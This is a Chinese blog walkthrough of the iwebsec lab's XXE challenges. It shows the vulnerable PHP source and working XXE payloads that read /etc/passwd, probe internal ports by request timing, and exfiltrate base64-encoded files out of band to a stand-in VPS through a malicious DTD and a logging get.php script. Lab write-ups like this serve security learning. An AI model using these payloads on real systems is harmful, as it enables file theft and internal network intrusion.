当前位置: 首页 > news >正文

iwebsec通关笔记-xxe篇

xxe攻击实际上就是将用户恶意输入的xml语言进行解析,让被攻击服务器发起网络请求加载攻击方服务器恶意文件,或者访问自身服务器文件,可以实现文件读取、命令执行、内网攻击、SSRF(服务器端请求伪造)和 DoS 攻击等危害。等等

三个关卡公用一个源码,先分析一下源码

libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); if($xmlfile){ $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $username = $creds->username; $password = $creds->password; } else{ exit(); } ?> <table class='table table-striped'> <?php echo 'hello ' . $username; echo "</table>"; ?>

第一行代码就是问题所在,允许加载外部实体,为防止xml注入一般要改为true

1.xxe读取文件

直接写出payload

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY evil SYSTEM "file:///etc/passwd"> ]> <root> <username>&evil;</username> <password>123456</password> </root>

源码中接收的参数实体为username,password,而username里面的参数&evil被替换到为了

"file:///etc/passwd",且有回显,打印到了页面上

其中的Content-Type参数需要自己添加上去,包括这里也能使用php伪协议读取文件

同样成功

2.xxe实现内网探测

xxe可以判断服务器内网端口是否开放

直接修改命令就行了

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY evil SYSTEM "http://192.168.22.136:8002"> ]> <root> <username>&evil;</username> <password>123456</password> </root>

判断端口开放的依据是时间但是我这里不知道为什么感觉时间都差的不多

我就测试了这几个端口只有3306端口返回是异常的慢的,但是其他的端口时间都差不多

3.针对不回显的xxe注入可以通过带外处理

这个可以让他解析外部网站的文件,通过访问解析vps上的文件使她本地给出文件内容

vps创建两个文件

test.dtd文件

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://YOUR_VPS/get.php?data=%file;'>"> %all;

get.php文件

<?php $data = $_GET['data']; file_put_contents('xxe.log', base64_decode($data)."\n", FILE_APPEND); ?>

xxe注入代码

<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % remote SYSTEM "http://test.xxe:999/test.dtd"> %remote; %all; ]> <root> <username>&send;</username> <password>123</password> </root>

访问后会在你自己的目录下生成一个xxe.log文件,但是我这里始终成功不了不知道为什么

http://www.jsqmd.com/news/475498/

相关文章:

  • AI用在食品安全上,更能体现技术价值
  • 数据赋能!让城市治理有了 “数字大脑”
  • OpenClawCn保姆级教程-Deepseek(Linux- Ubantu)
  • 2026年B2B企业做GEO前必须想清楚的10个问题(AI搜索时代企业必读)
  • 2026年存储市场核心数据与趋势分析
  • Redis面试题 02
  • 省下一周整理时间!百考通AI智能聚类文献,告别碎片化罗列
  • Skills+CoT双核心技术:大模型从“会生成”到“会思考”的关键密码
  • CTF开源情报获取方法(以探姬去哪了?_1为例)
  • [Java]RuoYi帝可得-3工单管理
  • 高并发定时任务调度系统
  • 家用除螨仪真的有效果吗?除螨仪哪家好排名第一的?良心推荐央视公认十大除螨仪品牌,抄作业篇!
  • 学习网络安全第四天
  • 如何快速识别B站评论区用户背景:智能成分检测工具全解析
  • Android16 第三方应用里面启动service不断循环读写被系统冻结
  • 删除pdf扫描件里的空白页
  • 无水印在线图片合成GIF:快速生成高清gif图片
  • 突破音乐加密限制:Unlock Music工具的全方位解密解决方案
  • OpenClaw大虾 | 极速安装,踩坑教程
  • AR/VR显示器市场前瞻:426.1亿到971.2亿的显示革命
  • i茅台预约革新:智能自动化全攻略
  • No180:AI中国故事-对话万古——华夏智慧与AI未来:千载回响与文明之光
  • 2026.3.13 Redis的网络模型
  • 【2026 年度技术趋势预测】AI 从生成走向执行,八大方向重塑 IT 行业
  • 四级单词联想记忆法(第七节)零基础也能背,2026.3.12 整理
  • Agent配置MCP并通过uvx指定pip源
  • 亲测8款爆火的降AI率工具!从99%到5%,论文救命合集!
  • python学习笔记4——字符串
  • 冷战时期的无人艇发展:从靶船到侦察平台
  • 深入解析 Go 官方更新:实验性 goroutineleak Profile 原理与机制